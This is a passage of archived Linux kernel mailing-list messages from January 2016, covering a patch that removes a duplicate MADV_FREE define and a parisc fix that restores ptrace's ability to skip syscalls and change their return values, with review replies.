Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2128875 gmane.linux.ports.alpha:3457 gmane.linux.ports.mips.general:52345 gmane.linux.ports.parisc:26419
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2128875>

On 18.01.2016 04:29, Guenter Roeck wrote:
> Commits 21f55b018ba5 ("arch/*/include/uapi/asm/mman.h: : let MADV_FREE
> have same value for all architectures") and ef58978f1eaa ("mm: define
> MADV_FREE for some arches") both defined MADV_FREE, but did not use the
> same values. This results in build errors such as
> 
> ./arch/alpha/include/uapi/asm/mman.h:53:0: error: "MADV_FREE" redefined
> ./arch/alpha/include/uapi/asm/mman.h:50:0: note:
> 	this is the location of the previous definition
> 
> for the affected architectures.
> 
> Fixes: 21f55b018ba5 ("arch/*/include/uapi/asm/mman.h: : let MADV_FREE have same value for all architectures")
> Fixes: ef58978f1eaa ("mm: define MADV_FREE for some arches")
> Cc: Chen Gang <gang.chen.5i5j@gmail.com>
> Cc: Minchan Kim <minchan@kernel.org>
> Cc: Andrew Morton <akpm@linux-foundation.org>
> Signed-off-by: Guenter Roeck <linux@roeck-us.net>


On parisc both definitions of MADV_FREE are 8, so I do not face the compiler error.
Nevertheless it should be cleaned up.

Acked-by: Helge Deller <deller@gmx.de>  (for parisc)

Thanks!
Helge

> ---
>  arch/alpha/include/uapi/asm/mman.h  | 1 -
>  arch/mips/include/uapi/asm/mman.h   | 1 -
>  arch/parisc/include/uapi/asm/mman.h | 1 -
>  arch/xtensa/include/uapi/asm/mman.h | 1 -
>  4 files changed, 4 deletions(-)
> 
> diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
> index cf830d465f75..f3db7d8eb0c2 100644
> --- a/arch/parisc/include/uapi/asm/mman.h
> +++ b/arch/parisc/include/uapi/asm/mman.h
> @@ -43,7 +43,6 @@
>  #define MADV_SPACEAVAIL 5               /* insure that resources are reserved */
>  #define MADV_VPS_PURGE  6               /* Purge pages from VM page cache */
>  #define MADV_VPS_INHERIT 7              /* Inherit parents page size */
> -#define MADV_FREE	8		/* free pages only if memory pressure */
>  
>  /* common/generic parameters */
>  #define MADV_FREE	8		/* free pages only if memory pressure */



From - Thu Nov 08 21:38:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix ptrace: syscall number and return value
 modification
Date: Tue, 19 Jan 2016 16:08:49 +0100
Lines: 88
Approved: news@gmane.org
Message-ID: <20160119150849.GA22546@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1453216160 4206 80.91.229.3 (19 Jan 2016 15:09:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Jan 2016 15:09:20 +0000 (UTC)
Cc: Mike Frysinger <vapier@gentoo.org>
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 19 16:09:12 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aLXuB-0000pX-PV
	for glpp-linux-parisc@plane.gmane.org; Tue, 19 Jan 2016 16:09:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754328AbcASPJK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Jan 2016 10:09:10 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:49894 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754297AbcASPJH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Jan 2016 10:09:07 -0500
Original-Received: from p100.box ([92.203.36.96]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0MGj8j-1aQEk92BXN-00DUm3; Tue, 19 Jan 2016 16:08:52
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:1SluY+e4hJyJdAXspo/LgDXmsTwfOF7iU0gfcBzZbMMFjnhAeCJ
 TNBJuJwjvycjFNyy+WjEqlF3TQqATFv9POQpl+UeOnthzgdiFZx1pomomt0cgKrxPv6WNZR
 ggKBh/4n318PDB1PY8zjOy//MwajusqgtTHaSZp7OmTiEHTrYxgZrb04N33mimmd0uyq+M3
 /oP46rTkZ69pFuiUUmMlg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:skyr7URckW8=:8LPH2lE5boQZZik6sVZ1Aq
 6klEduAswdgGGb4TRAJeiyFX3R6vE+tTeZAtSVRvgkwZcqNjQIPZeY5scZ9T/YuYkBBVKYwq2
 YE/aDew8elKGOrmEThDbi04gc5gsehb4Nv3ExxU3EnSPPXaPsYa8ntUadvxVFhxN3eTjQ50b9
 uqbwi9qos7zWG6P6wp+LlUPi1b7DOIofJsOxI/+b28sw0X4JMI+pHi+YXunfwGtWMBVRIWHKB
 e/0hN8whzpnDkUVZqQsDQQSM1plEU4S7M6/KBB/bOC7OYQ2UMkQNkSLrbpztotPLtarz7sy5u
 VsRokuStFIL/n083G/rlkjrRkkzrGVi5Gjb6t20N+g9J8q/xxCbsImI4xEW7cZWSa0TVstaQW
 88dtivU1IILJHqZsPdPpHSp0mPvtHQVawGRWAsneasn2rAzhXXkzr1csVv7BAukPA16s1o0Uc
 0WFWrDPGD9zbnY7RgYVN5jmtm7eSiQQ4vHYqnYb/jVF3GnAzKJO3gd4QzVaZLnxJ8om0CY79t
 YsEOt0K26UTn6sjpyvwI9tSITi0pv9vhCAZ59QtHDX9NRQTlLSny4HJ4ZWpoUgQpqHa6wJC2b
 /MIfqM9WYZYo5MU72NhRvIE/dBxvbqWqK1PncEtt7G/9Jd66Pk1vqKMcRSPAddadkY6/W39Se
 cP1z0rAgxyhSbLGIUesFlVl4lEg68H/+28Rxpv8uLApoiw9GIlO7aoJ17M/PFHHEZGXXkDb6p
 V9A/nEs36RmIGPdSenwq9EMcu9o832x562qKIS3pXXpQ1XJO+aHgIjUMzNQ=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26420
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26420>

Mike Frysinger reported that his ptrace testcase showed strange
behaviour on parisc: It was not possible to avoid a syscall and the
return value of a syscall couldn't be changed.

To modify a syscall number, we were missing to save the new syscall
number to gr20 which is then picked up later in assembly again.

The effect that the return value couldn't be changed is a side-effect of
another bug in the assembly code. When a process is ptraced, userspace
expects each syscall to report entrance and exit of a syscall.  If a
syscall number was given which doesn't exist, we jumped to the normal
syscall exit code instead of informing userspace that the (non-existant)
syscall exits. This unexpected behaviour confuses userspace and thus the
bug was misinterpreted as if we can't change the return value.

This patch fixes both problems and was tested on 64bit kernel with
32bit userspace.

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: Mike Frysinger <vapier@gentoo.org>
Cc: <stable@vger.kernel.org>

diff --git a/arch/parisc/kernel/ptrace.c b/arch/parisc/kernel/ptrace.c
index 9585c81..ce0b2b4 100644
--- a/arch/parisc/kernel/ptrace.c
+++ b/arch/parisc/kernel/ptrace.c
@@ -269,14 +269,19 @@ long compat_arch_ptrace(struct task_struct *child, compat_long_t request,
 
 long do_syscall_trace_enter(struct pt_regs *regs)
 {
-	long ret = 0;
-
 	/* Do the secure computing check first. */
 	secure_computing_strict(regs->gr[20]);
 
 	if (test_thread_flag(TIF_SYSCALL_TRACE) &&
-	    tracehook_report_syscall_entry(regs))
-		ret = -1L;
+	    tracehook_report_syscall_entry(regs)) {
+		/*
+		 * Tracing decided this syscall should not happen or the
+		 * debugger stored an invalid system call number. Skip
+		 * the system call and the system call restart handling.
+		 */
+		regs->gr[20] = -1UL;
+		goto out;
+	}
 
 #ifdef CONFIG_64BIT
 	if (!is_compat_task())
@@ -290,7 +295,8 @@ long do_syscall_trace_enter(struct pt_regs *regs)
 			regs->gr[24] & 0xffffffff,
 			regs->gr[23] & 0xffffffff);
 
-	return ret ? : regs->gr[20];
+out:
+	return regs->gr[20];
 }
 
 void do_syscall_trace_exit(struct pt_regs *regs)
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 3fbd725..fbafa0d 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -343,7 +343,7 @@ tracesys_next:
 #endif
 
 	comiclr,>>=	__NR_Linux_syscalls, %r20, %r0
-	b,n	.Lsyscall_nosys
+	b,n	.Ltracesys_nosys
 
 	LDREGX  %r20(%r19), %r19
 
@@ -359,6 +359,9 @@ tracesys_next:
 	be      0(%sr7,%r19)
 	ldo	R%tracesys_exit(%r2),%r2
 
+.Ltracesys_nosys:
+	ldo	-ENOSYS(%r0),%r28		/* set errno */
+
 	/* Do *not* call this function on the gateway page, because it
 	makes a direct call to syscall_trace. */
 	
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ptrace interface does not permit modification of syscall return
Date: Tue, 19 Jan 2016 16:11:02 +0100
Lines: 93
Approved: news@gmane.org
Message-ID: <569E5206.8020309@gmx.de>
References: <20151221175558.GA11489@vapier.lan> <5679BC60.5090107@gmx.de>
 <20151228180307.GI25803@vapier.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1453216277 6216 80.91.229.3 (19 Jan 2016 15:11:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Jan 2016 15:11:17 +0000 (UTC)
To: linux-parisc@vger.kernel.org, Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 19 16:11:11 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aLXw6-0001g8-M6
	for glpp-linux-parisc@plane.gmane.org; Tue, 19 Jan 2016 16:11:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755821AbcASPLK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Jan 2016 10:11:10 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:54123 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754491AbcASPLJ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Jan 2016 10:11:09 -0500
Original-Received: from [192.168.20.60] ([92.203.36.96]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0M6wWn-1ZymSQ42Wj-00wnw7; Tue, 19 Jan 2016 16:11:04
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <20151228180307.GI25803@vapier.lan>
X-Provags-ID: V03:K0:lrAF69RZ+KgQTHIClYmP38SUrZM9oorGFpuXo4qhpndmyA45gj9
 3BHLO/n94g9p1n27EQGyE575cO+A44KJuQov3elRg2I437bMdUUHl0OZ/paGuoKAuOoJA9t
 TuS4J16qKJwhJhda1Ynaxk5Edk+mYLI0AbB3HXkfPjUPeZPmqvaSX6lbPgrlwGBohYn+BUA
 ydSi5NQLUXIWXOXf8q4NA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:csazQAe+u7E=:6v6GkRXZd0eKVHUDHbsnR9
 hWPanDLEF/BoNDD3fl7DH2Gs2efN+DBz87/S+4VIVy3KjciTCwAvhkRqrwP9OFFUkzIlmUDlU
 4LX787yYEusAPCf/wbr1Bdn7BUsm7qdQQk3Wz0hML2s2uMXyBxmT6s35ZqS9nRB6F4Y1mMuSb
 JIHKZUFsCO9Zrw1fFfjMgQj2M8UrZ5eu6u3+800YfQ4TXgK2znjsQm34JqbxVmUWr2+cmeV5q
 P2djaIaQEFluvsMhKN8ZxdLsum2Ra1Il0ejWt2ASlerMKy9n17wjLgLn7fsHmzy2s0wALd5cg
 kPxK0s6kTwI5GfVigzhLV450aFPUiNiArsN6/yyX/nrxv+NtkHhC8flRSahnGlJCyc7B6EH5j
 IfvgGV8vnClGX2iJbAdgPVMduyEVNofb3+xGWaloj86nh/VcWUPw+MMCegEXxE66GXY1qk/nD
 0iD+tkgAX/5D17smNAdCFfrIguCDTDxka08ZY5UXqvRI0MZX331xMIQSoDo874jBrcTmRj4qI
 0pSFZhacIVwx83iCVepAMQbUAyOXl4EgGfardAWu78MTsPY7mEpJmoQC1QWm3rbRFnI7JW+DS
 +85sCM+eAuTpyxl6YrXU8wPwnjv/yg/ujuVwQVwWeQx8yJIxq8ufpPiw7PUogHlRVz1VTMLp6
 oQ9DVOwqB91I7EAstVF1hsBHXWTCgHFk15Cco7n/zmrMDd064+wwdqD5TP+3nmPTwhepsvlUx
 IIMWD6RcilS+ospvPkGw/+GG9li2FcaWO97v0ED6QB6ofmXI5yFMzA+NbkfjGnOgkPsToGhr 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26421
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26421>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

On 28.12.2015 19:03, Mike Frysinger wrote:
> On 22 Dec 2015 22:10, Helge Deller wrote:
>> On 21.12.2015 18:55, Mike Frysinger wrote:
>>> i have a ptrace program that watches for specific syscalls and when
>>> matched, will:
>>>  - on entry change the syscall nr to -1 (so the kernel will skip it)
>>>  - on exit change the return to -EPERM so the userspace sees a denial
>>>
>>> i have this working on most arches (x86, x86_64, arm, alpha, ia64, etc...).
>>> on parisc, the kernel (using 3.18.7 currently) appears to be wrong.  in my
>>> tests, if i don't mess with the syscall nr, i can change the return value
>>> fine (to EPERM or whatever).  but the syscall executed which i do not want.
>>> if i change the syscall to -1, then i can't change the return value (so the
>>> child sees ENOSYS), but the kernel still executes the original syscall.
>>>
>>> i have a simple test case attached to show the issue.  the code does:
>>>  - spawn a child with the parent tracing it
>>>  - child will do:
>>>   - dupe stderr to another fd
>>>   - unlink a file named ".test.flag"
>>>   - write a message through the new fd
>>>   - close a magic # so the parent knows to start denying
>>>     - should see EPERM but it sees ENOSYS
>>>   - close the new fd
>>>     - should see EPERM but it is closed!
>>>   - write to the new fd
>>>     - should work, but the fd is closed
>>>   - call create on ".test.flag"
>>>     - should see EPERM, but the file is created!
>>>  - parent will do:
>>>   - log the syscalls until child runs close(-12345)
>>>   - the parent will then try to deny all close/creat calls
>>>   - uses PTRACE_POKEUSER w/PT_GR20 to set syscall to -1
>>>   - uses PTRACE_POKEUSER w/PT_GR28 to set return to -EPERM
>>>
>>> you can run the test case by doing:
>>> $ gcc test.c && ./a.out
>>
>> I agree, something is fishy :-)
>>
>> I did some tests with your testcase.
>> First problem I had was, that compiling failed since it didn't found the asm/offset.h header file.
>> Which one did you used? I know it usually should come with the kernel headers, but there it is asm-offsets.h.
> 
> hmm, looks like it got installed by hand at some point (Jul 2004 datestamp!)
> and never cleaned up.
> 
>> First problem: I had to install the 64bit header file. PT_GR20 in this one was much higher than it should be for 32bit userspace.
>>
>> So, I used those defines (taken from the strace source package):
>> #define PT_GR20 (20*4)
>> #define PT_GR26 (26*4)
>> #define PT_GR28 (28*4)
>> #define PT_IAOQ0 (106*4)
>> #define PT_IAOQ1 (107*4)
> 
> these are the values in my local asm/offset.h, and what i was using
> in my original code -- the register # multiplied by 4.
> 
>> With that I got those output:
> 
> looks like you're seeing the same as me.  i'm only testing 32bit user
> and 32bit kernel currently as we don't have a 64bit userspace :).

Mike, can you please test the patch I just posted:
https://patchwork.kernel.org/patch/8063301/

Helge
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQIcBAEBCAAGBQJWnlIGAAoJEKGDlV8wpRJB01AP/1e5cO5DfF2UtDGAC8SNqB1x
4uCIEyCrKyAkNbrfy3HSQ2OVdenuZnxq/z5LiQeY9k8j4IfZgpU8v7fADZz76L1z
CsVyIAwi7BQqUUeV6otWo5o1mAZ1F9dvS4jPFpxROotgmBCkhDcAYP6xGpoKbAET
VDhgwjgsZLXOuONoxfONaveZGRMjZGbm5nrvra30kfQhzilew5EmWGchWvv5QFAE
scukm0Prfi9roefagIllvZrLjGLenQ7Wa/opWrH/KxbkN3t8cQprXUv8ejEEUG8v
mCrUQRfHdbgVpzMFyCbdtoRVBRRtRl3Z9Ht8DqgYiuaW34iDA6Una/ntBC/Z0SdD
WySBINwuG6VL8gLrS7zMuKyBrhY37PV+eeo+GC0C6bNr37oPgJ1HLqOj8B2tlHU+
/EJYaLSDMXHsrukF+XSOzq9pbiCpPvU3ApzpZnPcypNMid3/6LKf6fIvu/4P/8xK
09gCZrHRXI5J65Qya6oQHP2N1YJYRJzHUct1N6hEJ01DEDfUZxkHun8EDYHC879f
RZ7UE2jNJlBAMXTel0HGthgXrqPyM18ePlA4yv5YVK1Z7Ai+wT7j+CL5hnI46x9X
71PugI5vMzZZQ+N9alW9KG2E/RAzcx1Mu/SjntoXBD7jdv1u+DiQtbhD/ahP61Pt
+4I+Icqo62/Ql3Y2r8Ia
=2LNU
-----END PGP SIGNATURE-----
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix ptrace: syscall number and return value
 modification
Date: Tue, 19 Jan 2016 14:47:07 -0500
Lines: 61
Approved: news@gmane.org
Message-ID: <20160119194707.GE14840@vapier.lan>
References: <20160119150849.GA22546@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
	protocol="application/pgp-signature"; boundary="9l24NVCWtSuIVIod"
X-Trace: ger.gmane.org 1453232831 1264 80.91.229.3 (19 Jan 2016 19:47:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Jan 2016 19:47:11 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 19 20:47:10 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aLcFB-00028P-TB
	for glpp-linux-parisc@plane.gmane.org; Tue, 19 Jan 2016 20:47:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756908AbcASTrJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Jan 2016 14:47:09 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:60911 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756737AbcASTrI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Jan 2016 14:47:08 -0500
Original-Received: from vapier.lan (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with SMTP id C03D8340961;
	Tue, 19 Jan 2016 19:47:07 +0000 (UTC)
Mail-Followup-To: Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Content-Disposition: inline
In-Reply-To: <20160119150849.GA22546@p100.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26422
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26422>


--9l24NVCWtSuIVIod
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On 19 Jan 2016 16:08, Helge Deller wrote:
> Mike Frysinger reported that his ptrace testcase showed strange
> behaviour on parisc: It was not possible to avoid a syscall and the
> return value of a syscall couldn't be changed.
>=20
> To modify a syscall number, we were missing to save the new syscall
> number to gr20 which is then picked up later in assembly again.
>=20
> The effect that the return value couldn't be changed is a side-effect of
> another bug in the assembly code. When a process is ptraced, userspace
> expects each syscall to report entrance and exit of a syscall.  If a
> syscall number was given which doesn't exist, we jumped to the normal
> syscall exit code instead of informing userspace that the (non-existant)
> syscall exits. This unexpected behaviour confuses userspace and thus the
> bug was misinterpreted as if we can't change the return value.
>=20
> This patch fixes both problems and was tested on 64bit kernel with
> 32bit userspace.

thanks, i'll give it a spin on my box too

on a related note, can you check if arg reloading works too ?
i.e. i should also be able to mung syscall args on the fly.
e.g. if the tracee does open("/foo", O_RDWR), the tracer should
be able to munge it to do open("/foo", O_RDONLY).
-mike

--9l24NVCWtSuIVIod
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQIcBAEBCAAGBQJWnpK7AAoJEEFjO5/oN/WBEBQQAMB6bjAM1VAYiAqIFEm2f572
9bZIZZvSO06R9VgsFdWwbR6lXNddEUklIm4EuamxJz1/gjrlKe09CQe/QPoHvPS0
RG99jTkpNYcrthm6WWR3Gq1YnnRniw7S060F4BNIoGwqK2t6d0YinuUorhFwFBCp
xKtWEEhiB1CgEw/3ThLfgSRmDbbiAU2Auua7Zu50fYicFGfo0/jK/OTpMlMqklYQ
BFdVP2tq7/uRCmh+3TauRQxUnJA2HdMOqrg3TfJfLEWVA84F6JajXfOnLyMAeyNE
3zMucQ4NO9/gEd9oTPytPjoJkngOFFQk/SgRuu9qS9L5jwgyMpAV2SpqlH5jQPOY
pDI+kkMbRAhivSrw3XWGMnoEifjnuf6hnmNmX7Jcx7xX0OQq9cOVdbSHFKkU0b+o
BjIW6xLMyIkXwFuxj6U8GpB5F6F56dEuvXEZ32B8ZxhJg8XwZ9V3fsW7ed8wm1pg
ePvWQn+wIJtOD4gsnO/CZNHxxrLmCUS4onhp2QCluiaIsSLMqEjSmhk2YDfJGXnS
Tt0dxscxUQQ8N6qFlftVELk/mOW6lJ523FkUkuZMx3Dwa92exxji8lwWanNcKFos
9pgj+/qD4Z+2ySImrxLsRvKapPKjdftREN5qDxqQjI5pTIMwe9L+vcnN4+rrxJ4n
KgU4onlHVSK6LzDgIQOZ
=yuBA
-----END PGP SIGNATURE-----

--9l24NVCWtSuIVIod--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix ptrace: syscall number and return value
 modification
Date: Tue, 19 Jan 2016 21:13:24 +0100
Lines: 57
Approved: news@gmane.org
Message-ID: <569E98E4.5010304@gmx.de>
References: <20160119150849.GA22546@p100.box>
 <20160119194707.GE14840@vapier.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1453234424 27107 80.91.229.3 (19 Jan 2016 20:13:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Jan 2016 20:13:44 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 19 21:13:38 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aLcem-0004nW-Tv
	for glpp-linux-parisc@plane.gmane.org; Tue, 19 Jan 2016 21:13:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933103AbcASUNg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Jan 2016 15:13:36 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:52667 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S933143AbcASUNf (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Jan 2016 15:13:35 -0500
Original-Received: from [192.168.20.60] ([92.203.36.96]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0M86PB-1ZzoU50gsL-00vg4F; Tue, 19 Jan 2016 21:13:28
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <20160119194707.GE14840@vapier.lan>
X-Provags-ID: V03:K0:WofsVBPUVKFrdmkJwnPc0uDsFIKwiP5lTzFDIgTAsO6nu1J9T4L
 JXzyWuQgqpsjuFPIIriKMCy9au2GiTd4Sj60Xf6JkAy5RmK+4uyLqIdCVKEDijIhCAL1PsV
 BD+v5zII/SijXyWa3LelLI+r6sdEL3njNhwXzThfl7aOfSvAT//h08QVtrMQaam5QDHeD3/
 H56Bm26snocKeNYS91Flw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:mca9T9Di9ec=:vt4Nm41iB0w61G3cfIPYto
 yoCGVQrqUxJ/lDH7xdtW3BV9I0da+FzAX9evCM0rK7yzsY3ZQAAACAe4e3YLSvxQ2wFlVzMZq
 vgzap8+ABQ3OQ6jeYBC96pB7NLg2158jWLY3MXrTT9vRLREuyVEd6mXBNShFcoIgvCjmIhCQh
 uFdd6zuPOlpUCaMjgmQ2X1UCEes3OCb7fdAGCLP7FBD26mtXNib3RcPL24QzyRyxmUi7krq7k
 6IqBxey8s/NuBSaHtRlz6eB19b8tPG1NvLsm+xKomuk6LpMjyD2577xR0Dyy/XDGEPlMtYLnr
 89lfQ0+sr6AzljiTRn1zCXAqP37bqd5RKrTmRaUGpm4v3lEV72aeTHNIY2dR9tefWDA+wwQ/H
 1zGsK+JrDAmyXHwe+dz62SBGJF6tpwfOCf9VuFgdG7mj8gxm/MhlQkO+ynZnGVY+dsviqOzHJ
 b2wzl93wpFvVx1QI7lLDahqr4VEFGQPUHHqGFffoH+EDs04sbRvT12nDBIwDYgjcX/gJI4NhS
 FiiaJ25HWcoiDJ17UWPxQGRM0W6he62p2kK46GiGGw6Aw71bTrj6KgBh8caayhoE2l3PJfNHi
 Wi4tUFWwRTzaKHDy+ldepBwhCfk0PKOQQTFkOBxsjXhr6e8OiBPwpoeOGhWy2vlIb6G531sqx
 Vo0u62Sb1sUr0ufCJW0SJz44lwSAYijQo1C9vxI+IU3wSmKdES7EcWBrNQGRRfrrWTM89j/qR
 cXB8wZpurqWvcM3ai6FyZN9DgRXpvV3QxDy5kWMH9qiH7BHt6N+QG5x65SapKRZ1dX6OXaji 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26423
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26423>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

On 19.01.2016 20:47, Mike Frysinger wrote:
> On 19 Jan 2016 16:08, Helge Deller wrote:
>> Mike Frysinger reported that his ptrace testcase showed strange
>> behaviour on parisc: It was not possible to avoid a syscall and the
>> return value of a syscall couldn't be changed.
>>
>> To modify a syscall number, we were missing to save the new syscall
>> number to gr20 which is then picked up later in assembly again.
>>
